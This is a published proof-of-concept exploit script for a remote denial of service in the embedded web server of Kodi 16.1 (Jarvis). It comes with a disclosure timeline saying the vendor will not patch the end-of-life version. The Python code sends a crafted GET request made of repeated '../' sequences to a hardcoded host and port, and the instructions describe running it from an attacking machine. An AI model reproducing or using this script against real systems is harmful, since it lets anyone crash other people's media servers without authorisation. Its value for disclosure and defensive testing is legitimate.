# Exploit Title: Kodi 16.1 Web Server Remote DoS # Date: 06/08/2016 # Exploit Author: Guillaume Kaddouch # Twitter: @gkweb76 # Blog: https://networkfilter.blogspot.com # GitHub: https://github.com/gkweb76/exploits # Vendor Homepage: https://kodi.tv/ # Software Link: http://mirrors.kodi.tv/releases/win32/kodi-16.1-Jarvis.exe # Version: 16.1 # Tested on: Windows 7 Family x64 (FR) # Category: DoS """ Disclosure Timeline: -------------------- 2016-08-02: Vulnerability discovered 2016-08-04: Vendor contacted 2016-08-04: Developper answered. Kodi v16 is End Of Life and will not be fixed. 2016-08-06: Exploit published. Description : ------------- A remote Denial Of Service exists in Kodi 16.1 (Jarvis) embedded web server when sending a specially crafted GET request. The web server is disabled by default. Instructions: ------------- - Starts Kodi, and enable the web server in System, Services, Web server. - Run this exploit locally or from your remote attacking machine. """ import socket host = "192.168.135.129" port = 8080 junk = '../' * 10 buffer = "GET " + junk + " HTTP/1.1\r\n" buffer += "\r\n\r\n" try: print "[*] Connecting to %s:%d" % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) print "[*] Sending buffer... (%d bytes)" % len(buffer) s.send(buffer) s.close() print "[*] Done." except: print "[-] Error connecting"